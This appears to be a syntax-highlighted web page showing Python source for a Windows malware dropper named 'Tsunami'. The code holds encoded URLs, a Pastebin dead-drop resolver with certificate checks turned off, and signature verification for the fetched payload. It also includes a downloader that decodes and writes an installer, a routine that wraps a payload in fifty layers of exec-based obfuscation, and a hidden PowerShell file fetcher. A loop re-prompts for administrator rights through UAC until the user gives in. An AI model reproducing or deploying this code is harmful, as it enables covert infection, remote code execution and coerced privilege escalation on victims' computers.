&quot;6c4b647c2e27261231321633143e5f59586001476e65465b6c102f1c134b3c0d3b0a440534764143636218106d13103e3809450c3132240b112120595a7608576e4f6f564500331f&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c5b707b2c4226170a22382e165b38435b0540476c656c156e102f04123e3c220d2f23050f037f7b7c127457437618222d1d450909083857165b2846754c081742126311450f064d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f4b707b2e28320f32551608165b0274614f5b156e656b144525271c233e060e37303b053c7200047c1310577858143d00273a15342d200f162a5647765b7e564569734e&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f4b60312c283e150a222808205a20415d07666c795b42586e1c3345133e69210c0911010d5a68435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c75683f2c42360a0a325f0f202e575a606d7a57736719156e1c2841143e0a150f213b5c0a796b59534d60574572183c03423d0c3208020e2f313c4b606d71576d5b515b4200334011386d58&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f654a322c43221532080a0f213102585a586664795b4a116c1c05041314162234303b1c0f6774435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c6578782f273612320828362f3e0a5a60607a476c4b70106f0f2705142f021c34300103346468435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f65427c2c27220f3320021d11313c595d737e476c7574156e10330012123c090c204c06384800047c1310577858143d00273a15342d200f162a5647765b7e564569734e&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c75707c2e27140c3257160b240724475d6d7651756719126f0c0a41134b3c1c0d0a33200c5c0045534c676f6d12743e032749131c085b172c0438015a0776566d581917427b2340143e3758&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f4b427b2c1d2200093020142c313844606001476c7578586e0f330912491e090d0a232722026c435276184b6d4c1438381d264933572810391056075a0672114566461c&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f5b74782c1d4515340e380c2f3e02486f7308126c756059430f3705131406290a2f3f05375c00667c127457437618222d1d450909083857165b2846754c081742126311450f064d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f7568322c1d49173430061d2f2e5b595d737e476f5b4a156e002f09292e1e310a204c1f3f5800047c1310577858143d00273a15342d200f162a5647765b7e564569734e&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f4b42302e38320d34303c1d165b02026c0408566f65785b4325270013121a15373f23013d4800047c1310577858143d00273a15342d200f162a5647765b7e564569734e&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f4b68302f383e15335638242f3e5b04606354476c4b60596f0f581b123e3c2037554019395800047c1310577858143d00273a15342d200f162a5647765b7e564569734e&quot;,</span></span><br><span class="line"><span class="string">        &quot;6e6560792c1e220c0a3d24242f3e5f476a7308596f756013422558401214062b0b3033103c4800047c1310577858143d00273a15342d200f162a5647765b7e564569734e&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c656c312e370811343d3c17200457425b0472476f754a106c7b2f0711211a553b554c1a37645e435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c6568782f283a15332d240f262e38485b07096f795b60146f222b1c143e6910343227050a5c00717c127457437618222d1d450909083857165b2846754c081742126311450f064d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6e654a3f2f27261032573c25172e285b5a075c66795b685b6f0c3b092a210a150d0c191c34696b05547415574572183c03423d0c3208020e2f313c4b606d71576d5b515b4200334011386d58&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c4b60792e27140c3430160f14313c4760047e476e7560116f1f1503292f341f0a20331f3f5800047c1310577858143d00273a15342d200f162a5647765b7e564569734e&quot;,</span></span><br><span class="line"><span class="string">        &quot;6e65747a2f1e3e153222283f2f21244760076672795b68146e0c330329210655375733060a767f7c7c127457437618222d1d450909083857165b2846754c081742126311450f064d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c5b747d2f433e150a575b17262e384163070957704d19586e1c240814311e09382f3b01346778435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f5b4a792c433e0a32225734170402035b727665795b64126c0c3b0a12143c133f55331c0c5a7c435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c4b687c2f281c0a33225f2d165b3c445d606a476c6546116e002f04292e02270d550d0137036f707c127457437618222d1d450909083857165b2846754c081742126311450f064d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f6560782e38220e32573c252f2e38415b726672795b78146e0c051c134a060d3f543f0534766b45614818106d13103e3809450c3132240b112120595a7608576e4f6f564500331f&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f5b46312e283e0b320828322f5b5b415b585c64795b645b6f322b1b2a211a0f37313b050c6655787c127457437618222d1d450909083857165b2846754c081742126311450f064d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6e7568782c1e3e4933085708205a3c415a58666f795b46126f223306113e1e500d563704345c0059625818106d13103e3809450c3132240b112120595a7608576e4f6f564500331f&quot;</span></span><br><span class="line"><span class="string">    ]</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    # URL Extraction stuff</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    # Extensive documentation on this process has been included on my YouTube channel: https://www.youtube.com/watch?v=QB7ACr7pUuE</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    def download_pastebin_document(url: str) -&gt; str:</span></span><br><span class="line"><span class="string">        req = urllib.request.Request(</span></span><br><span class="line"><span class="string">            url,</span></span><br><span class="line"><span class="string">            headers = &#123;&quot;User-Agent&quot;: &quot;Mozilla/5.0&quot;&#125;</span></span><br><span class="line"><span class="string">        )</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        # SSL off</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        context = ssl.create_default_context()</span></span><br><span class="line"><span class="string">        context.check_hostname = False</span></span><br><span class="line"><span class="string">        context.verify_mode = ssl.CERT_NONE</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        with urllib.request.urlopen(req, context=context) as res:</span></span><br><span class="line"><span class="string">            return res.read().decode(&quot;utf-8&quot;)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    def extract_url(document: str, link_text: str) -&gt; list:</span></span><br><span class="line"><span class="string">        pattern = r&#x27;&lt;a\s+(?:[^&gt;]*?\s+)?href=&quot;([^&quot;]+)&quot;[^&gt;]*&gt;&#x27; + re.escape(link_text) + r&#x27;&lt;/a&gt;&#x27;</span></span><br><span class="line"><span class="string">        match = re.search(pattern, document)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        if match:</span></span><br><span class="line"><span class="string">            href = match.group(1)</span></span><br><span class="line"><span class="string">            return &quot;https://pastebin.com/raw&quot; + href</span></span><br><span class="line"><span class="string">        else:</span></span><br><span class="line"><span class="string">            return None</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    # Signature verification stuff</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    def extract_and_verify_payload_data(payload_data: str) -&gt; bool:</span></span><br><span class="line"><span class="string">        # Hard coded public key</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        trusted_public_key = serialization.load_pem_public_key(binascii.unhexlify(b&quot;0a2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d0a4d494942496a414e42676b71686b6947397730424151454641414f43415138414d49494243674b4341514541765267784e3576576e79312f6441633773364b4d0a5a55527971517469314f453131506b615850593332453339544b61753676442b516e74574b4e5446493533576d6b76593659624c476630366f695a39397559640a546b654c2f67744b666e6150504f74316d41444c3952336e46777957414277375134314e67596c753758484d69545575682f545250764f69584c35794b782b340a506e58734e2b73453933706b32714e70422b636e4a312f62347265383978754e70443948516a6a73646133504e4f44313373374f4c3766712b37347459346f630a4d5136424e464f71394a343678642f346a6179386e2f713333763350677777734c36545152356772556466626c585a38575a7a7858564b45714d74714a746d520a4d387a6a486f6f647330506f6f704f5336497a6f59442b616e63687a354a434b484272724d586438672b4132684d712b57356c456b497974626531645058736e0a43514944415141420a2d2d2d2d2d454e44205055424c4943204b45592d2d2d2d2d0a&quot;))</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        # Decode message and extract its parts</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        payload = json.loads(</span></span><br><span class="line"><span class="string">            binascii.unhexlify(payload_data.encode(&quot;utf-8&quot;)).decode(&quot;utf-8&quot;)</span></span><br><span class="line"><span class="string">        )</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        message = payload[&quot;message&quot;]</span></span><br><span class="line"><span class="string">        signature = base64.b64decode(payload[&quot;signature&quot;].encode(&quot;utf-8&quot;))</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        # Verify the message integrity and signature matches our trusted one</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        try:</span></span><br><span class="line"><span class="string">            trusted_public_key.verify(</span></span><br><span class="line"><span class="string">                signature,</span></span><br><span class="line"><span class="string">                message.encode(&quot;utf-8&quot;),</span></span><br><span class="line"><span class="string">                padding.PSS(</span></span><br><span class="line"><span class="string">                    mgf=padding.MGF1(hashes.SHA256()),</span></span><br><span class="line"><span class="string">                    salt_length=padding.PSS.MAX_LENGTH</span></span><br><span class="line"><span class="string">                ),</span></span><br><span class="line"><span class="string">                hashes.SHA256()</span></span><br><span class="line"><span class="string">            )</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">            output(&quot;Message and signature integrity check succeeded, message is authentic&quot;)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">            return message</span></span><br><span class="line"><span class="string">        except:</span></span><br><span class="line"><span class="string">            output(&quot;Message and signature integrity check failed, message contents will be rejected&quot;)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">            return None</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    # Try each URL. URLs may have non-404 errors, so rescan the list of URLs</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    for url in URLS:</span></span><br><span class="line"><span class="string">        try:</span></span><br><span class="line"><span class="string">            # Decode the url pair</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">            pair = decode(url)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">            # Extract the profile URL and filename</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">            profile_url = pair.split(&quot;_&quot;)[0]</span></span><br><span class="line"><span class="string">            filename = pair.split(&quot;_&quot;)[1]</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">            # Download the document HTML and extract the URL</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">            document = download_pastebin_document(profile_url)</span></span><br><span class="line"><span class="string">            url = extract_url(document, filename)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">            # :(</span></span><br><span class="line"><span class="string">            if url == None:</span></span><br><span class="line"><span class="string">                continue</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">            # SSL off</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">            context = ssl.create_default_context()</span></span><br><span class="line"><span class="string">            context.check_hostname = False</span></span><br><span class="line"><span class="string">            context.verify_mode = ssl.CERT_NONE</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">            # Download the contents of the file</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">            req = urllib.request.Request(</span></span><br><span class="line"><span class="string">                url,</span></span><br><span class="line"><span class="string">                headers = &#123;&quot;User-Agent&quot;: &quot;Mozilla/5.0&quot;&#125;</span></span><br><span class="line"><span class="string">            )</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">            with urllib.request.urlopen(req, context=context) as res:</span></span><br><span class="line"><span class="string">                # Check the payload data then XOR decode the message</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">                message = extract_and_verify_payload_data(res.read().decode(&quot;utf-8&quot;).strip())</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">                if message:</span></span><br><span class="line"><span class="string">                    return decode(message)</span></span><br><span class="line"><span class="string">        except Exception as e:</span></span><br><span class="line"><span class="string">            # Failure, try the next URL in 5 seconds</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">            output(f&quot;Failure, waiting... (&#123;e&#125;)&quot;)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">            time.sleep(1)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    # Not found</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    return &quot;&quot;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">##### Tsunami Injector #####</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">def download_installer() -&gt; None:</span></span><br><span class="line"><span class="string">    # Ensure the Tsunami Installer folder exists</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    if not os.path.exists(TSUNAMI_INSTALLER_FOLDER):</span></span><br><span class="line"><span class="string">        os.makedirs(TSUNAMI_INSTALLER_FOLDER, exist_ok = True)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    # Create the temporary file to download to</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    download_tempfile = tempfile.NamedTemporaryFile(delete = False).name</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    # Get the installer URL</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    installer_url = download_installer_url()</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    # Download the file from the URL to the temporary download file (SSL off)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    ssl._create_default_https_context = ssl._create_unverified_context</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    urllib.request.urlretrieve(installer_url, download_tempfile)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    # Decode the file and save it to the installer path</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    with open(download_tempfile, &quot;rb&quot;) as f:</span></span><br><span class="line"><span class="string">        data = f.read()</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    decoded = gzip.decompress(data[::-1])</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    with open(TSUNAMI_INSTALLER_PATH, &quot;wb&quot;) as f:</span></span><br><span class="line"><span class="string">        f.write(decoded)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    # Delete the temp file</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    try:</span></span><br><span class="line"><span class="string">        os.remove(download_tempfile)</span></span><br><span class="line"><span class="string">    except:</span></span><br><span class="line"><span class="string">        pass</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">def extract_payload() -&gt; None:</span></span><br><span class="line"><span class="string">    # Extract the payload to its temp file</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    with open(TSUNAMI_PAYLOAD_PATH, &quot;w&quot;) as f:</span></span><br><span class="line"><span class="string">        f.write(obfuscate_script(TSUNAMI_PAYLOAD_SCRIPT, 50))</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">def execute_payload_with_uac() -&gt; bool:</span></span><br><span class="line"><span class="string">    # Get the filepath of the pythonw.exe</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    py_exe = sys.executable</span></span><br><span class="line"><span class="string">    py_exe = py_exe.replace(&quot;python.exe&quot;, &quot;pythonw.exe&quot;)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    # Execute the payload with UAC</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    result = ctypes.windll.shell32.ShellExecuteW(</span></span><br><span class="line"><span class="string">        None,</span></span><br><span class="line"><span class="string">        &quot;runas&quot;,</span></span><br><span class="line"><span class="string">        py_exe,</span></span><br><span class="line"><span class="string">        f&#x27;&quot;&#123;TSUNAMI_PAYLOAD_PATH&#125;&quot;&#x27;,</span></span><br><span class="line"><span class="string">        None,</span></span><br><span class="line"><span class="string">        1</span></span><br><span class="line"><span class="string">    )</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    # Return true if it worked, false if it failed</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    if result &lt;= 32:</span></span><br><span class="line"><span class="string">        return False</span></span><br><span class="line"><span class="string">    else:</span></span><br><span class="line"><span class="string">        return True</span></span><br><span class="line"><span class="string">        #hel p me</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">##### Application Entry #####</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">if __name__ == &quot;__main__&quot;:</span></span><br><span class="line"><span class="string">    # Check if the Tsunami Installer task is scheduled</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    if is_task_scheduled(TSUNAMI_INSTALLER_NAME):</span></span><br><span class="line"><span class="string">        # Task is scheduled, check if the Tsunami Installer payload is installed</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        if not os.path.exists(TSUNAMI_INSTALLER_PATH):</span></span><br><span class="line"><span class="string">            # Task is scheduled but the Tsunami Installer is not installed yet, download and extract it</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">            output(&quot;[+] Task is scheduled but the Tsunami Installer was not found. Downloading and extracting...&quot;)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">            # Download the Tsunami Installer</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">            download_installer()</span></span><br><span class="line"><span class="string">        else:</span></span><br><span class="line"><span class="string">            # Task is scheduled and the Tsunami Installer is installed, there is nothing to do but exit</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">            output(&quot;[+] Task is scheduled and the Tsunami Installer is installed. Exiting...&quot;)</span></span><br><span class="line"><span class="string">    else:</span></span><br><span class="line"><span class="string">        # Task is not scheduled</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        output(&quot;[+] Task is not yet scheduled, attempting to execute the Tsunami Payload&quot;)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        # Extract the Tsunami Payload</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        extract_payload()</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        # Execute the Tsunami Payload</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        while True:</span></span><br><span class="line"><span class="string">            # Sleep for 10 to 20 minutes</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">            time.sleep(random.uniform(600, 1200))</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">            # Execute the Tsunami Payload</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">            if execute_payload_with_uac():</span></span><br><span class="line"><span class="string">                # User gave administrator to the Tsunami Payload</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">                output(&quot;[+] User accepted UAC prompt for administrator. The Tsunami Payload executed successfully&quot;)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">                # Nothing more to do, exit the execution loop</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">                break</span></span><br><span class="line"><span class="string">            else:</span></span><br><span class="line"><span class="string">                # User rejected administrator for the Tsunami Payload, try again</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">                output(&quot;[-] User rejected UAC prompt for administrator. Retrying shortly...&quot;)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    # Keep the window open in debug mode for analysis</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    if DEBUG_MODE:</span></span><br><span class="line"><span class="string">        input()</span></span><br><span class="line"><span class="string">                              &quot;&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">##### Obfuscator #####</span></span><br><span class="line"></span><br><span class="line">    zlb = <span class="keyword">lambda</span> in_ : zlib.compress(in_)</span><br><span class="line">    b64 = <span class="keyword">lambda</span> in_ : base64.b64encode(in_)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">obfuscate_script</span>(<span class="params">data: <span class="built_in">str</span>, loop_count: <span class="built_in">int</span></span>) -&gt; <span class="built_in">str</span>:</span><br><span class="line">        <span class="comment"># Change the value of the random variable to ensure different obfuscation strings each time</span></span><br><span class="line"></span><br><span class="line">        data = data.replace(<span class="string">&quot;RandVar = &#x27;?&#x27;&quot;</span>, <span class="string">f&quot;RandVar = &#x27;<span class="subst">&#123;random.randint(<span class="number">100000</span>, <span class="number">10000000</span>)&#125;</span>&#x27;&quot;</span>)</span><br><span class="line"></span><br><span class="line">        <span class="comment"># Setup obfuscation</span></span><br><span class="line"></span><br><span class="line">        xx = <span class="string">&quot;b64(zlb(data.encode(&#x27;utf8&#x27;)))[::-1]&quot;</span></span><br><span class="line">        prefix = <span class="string">&quot;_ = lambda __ : __import__(&#x27;zlib&#x27;).decompress(__import__(&#x27;base64&#x27;).b64decode(__[::-1]));&quot;</span></span><br><span class="line"></span><br><span class="line">        <span class="comment"># Perform obfuscation</span></span><br><span class="line"></span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(loop_count):</span><br><span class="line">            <span class="keyword">try</span>:</span><br><span class="line">                data = <span class="string">&quot;exec((_)(%s))&quot;</span> % <span class="built_in">repr</span>(<span class="built_in">eval</span>(xx))</span><br><span class="line">            <span class="keyword">except</span> TypeError <span class="keyword">as</span> s:</span><br><span class="line">                sys.exit(<span class="string">&quot; TypeError : &quot;</span> + <span class="built_in">str</span>(s))</span><br><span class="line"></span><br><span class="line">        <span class="comment"># Build the complete output</span></span><br><span class="line"></span><br><span class="line">        output = <span class="string">&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">        output += <span class="string">&quot;\n&quot;</span></span><br><span class="line">        output += prefix</span><br><span class="line">        output += data</span><br><span class="line">        output += <span class="string">&quot;\n&quot;</span></span><br><span class="line"></span><br><span class="line">        <span class="comment"># Return the output</span></span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> output</span><br><span class="line"></span><br><span class="line">    <span class="comment">##### Utils #####</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">output</span>(<span class="params">text: <span class="built_in">str</span></span>) -&gt; <span class="literal">None</span>:</span><br><span class="line">        <span class="keyword">if</span> DEBUG_MODE:</span><br><span class="line">            <span class="built_in">print</span>(text)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">download_file</span>(<span class="params">url: <span class="built_in">str</span>, file_path: <span class="built_in">str</span></span>):</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            powershell_script = <span class="string">f&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">            $url = &quot;<span class="subst">&#123;url&#125;</span>&quot;</span></span><br><span class="line"><span class="string">            $filePath = &quot;<span class="subst">&#123;file_path&#125;</span>&quot;</span></span><br><span class="line"><span class="string">            Invoke-WebRequest -Uri $url -OutFile $filePath</span></span><br><span class="line"><span class="string">                                &quot;&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">            subprocess.run(</span><br><span class="line">                [<span class="string">&quot;powershell&quot;</span>, <span class="string">&quot;-Command&quot;</span>, powershell_script],</span><br><span class="line">                check = <span class="literal">True</span>,</span><br><span class="line">                creationflags = subprocess.CREATE_NO_WINDOW,</span><br><span class="line">            )</span><br><span class="line"></span><br><span class="line">            output(<span class="string">f&quot;File downloaded successfully to: <span class="subst">&#123;file_path&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="keyword">except</span> subprocess.CalledProcessError <span class="keyword">as</span> e:</span><br><span class="line">            output(<span class="string">f&quot;Error downloading file with PowerShell: <span class="subst">&#123;e&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment">##### Tsunami Infecter #####</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">is_python_installed</span>() -&gt; <span class="built_in">bool</span>:</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            <span class="comment"># Check if the platform is Windows</span></span><br><span class="line">            <span class="keyword">if</span> platform.system() == <span class="string">&quot;Windows&quot;</span>:</span><br><span class="line">                <span class="comment"># Check HKEY_LOCAL_MACHINE</span></span><br><span class="line">                key = <span class="string">r&quot;SOFTWARE\Python\PythonCore&quot;</span></span><br><span class="line">                <span class="keyword">try</span>:</span><br><span class="line">                    <span class="keyword">with</span> winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, key) <span class="keyword">as</span> reg_key:</span><br><span class="line">                        <span class="comment"># Get the subkeys (versions) under PythonCore</span></span><br><span class="line">                        subkeys_count = winreg.QueryInfoKey(reg_key)[<span class="number">0</span>]</span><br><span class="line">                        <span class="keyword">if</span> subkeys_count &gt; <span class="number">0</span>:</span><br><span class="line">                            <span class="comment"># Get the latest Python version</span></span><br><span class="line">                            latest_version = <span class="built_in">max</span>([<span class="built_in">float</span>(winreg.EnumKey(reg_key, i)) <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(subkeys_count)])</span><br><span class="line">                            output(<span class="string">f&quot;Python <span class="subst">&#123;latest_version&#125;</span> is installed.&quot;</span>)</span><br><span class="line">                            <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">                <span class="keyword">except</span> FileNotFoundError:</span><br><span class="line">                    <span class="keyword">pass</span>  <span class="comment"># Ignore if the key is not found in HKEY_LOCAL_MACHINE</span></span><br><span class="line"></span><br><span class="line">                <span class="comment"># Check HKEY_CURRENT_USER</span></span><br><span class="line">                key = <span class="string">r&quot;SOFTWARE\Python\PythonCore&quot;</span></span><br><span class="line">                <span class="keyword">try</span>:</span><br><span class="line">                    <span class="keyword">with</span> winreg.OpenKey(winreg.HKEY_CURRENT_USER, key) <span class="keyword">as</span> reg_key:</span><br><span class="line">                        <span class="comment"># Get the subkeys (versions) under PythonCore</span></span><br><span class="line">                        subkeys_count = winreg.QueryInfoKey(reg_key)[<span class="number">0</span>]</span><br><span class="line">                        <span class="keyword">if</span> subkeys_count &gt; <span class="number">0</span>:</span><br><span class="line">                            <span class="comment"># Get the latest Python version</span></span><br><span class="line">                            latest_version = <span class="built_in">max</span>([<span class="built_in">float</span>(winreg.EnumKey(reg_key, i)) <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(subkeys_count)])</span><br><span class="line">                            output(<span class="string">f&quot;Python <span class="subst">&#123;latest_version&#125;</span> is installed.&quot;</span>)</span><br><span class="line">                            <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">                <span class="keyword">except</span> FileNotFoundError:</span><br><span class="line">                    <span class="keyword">pass</span>  <span class="comment"># Ignore if the key is not found in HKEY_CURRENT_USER</span></span><br><span class="line"></span><br><span class="line">                output(<span class="string">&quot;Python is not installed.&quot;</span>)</span><br><span class="line">                <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                output(<span class="string">&quot;This function is designed for Windows systems.&quot;</span>)</span><br><span class="line">                <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line">        <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">            output(<span class="string">f&quot;Error: <span class="subst">&#123;e&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">execute_python_with_uac</span>(<span class="params">py_installer_path: <span class="built_in">str</span></span>) -&gt; <span class="built_in">bool</span>:</span><br><span class="line">        result = ctypes.windll.shell32.ShellExecuteW(</span><br><span class="line">            <span class="literal">None</span>,</span><br><span class="line">            <span class="string">&quot;runas&quot;</span>,</span><br><span class="line">            py_installer_path,</span><br><span class="line">            <span class="string">&quot;/quiet InstallAllUsers=1 PrependPath=1 Include_test=0&quot;</span>,</span><br><span class="line">            <span class="literal">None</span>,</span><br><span class="line">            <span class="number">0</span></span><br><span class="line">        )</span><br><span class="line"></span><br><span class="line">        <span class="comment"># Return true if it worked, false if it failed</span></span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> result &lt;= <span class="number">32</span>:</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">install_python</span>() -&gt; <span class="literal">None</span>:</span><br><span class="line">        <span class="comment"># Create a temporary download path for the Python installer</span></span><br><span class="line"></span><br><span class="line">        py_installer_path = tempfile.NamedTemporaryFile(delete = <span class="literal">False</span>).name + <span class="string">&quot;.exe&quot;</span></span><br><span class="line"></span><br><span class="line">        <span class="comment"># Download the Python installer to the path</span></span><br><span class="line"></span><br><span class="line">        download_file(PYTHON_INSTALLER_URL, py_installer_path)</span><br><span class="line"></span><br><span class="line">        <span class="comment"># Execute the Python installer to run silently with a UAC prompt</span></span><br><span class="line"></span><br><span class="line">        <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">            <span class="comment"># Sleep for 10 to 30 seconds</span></span><br><span 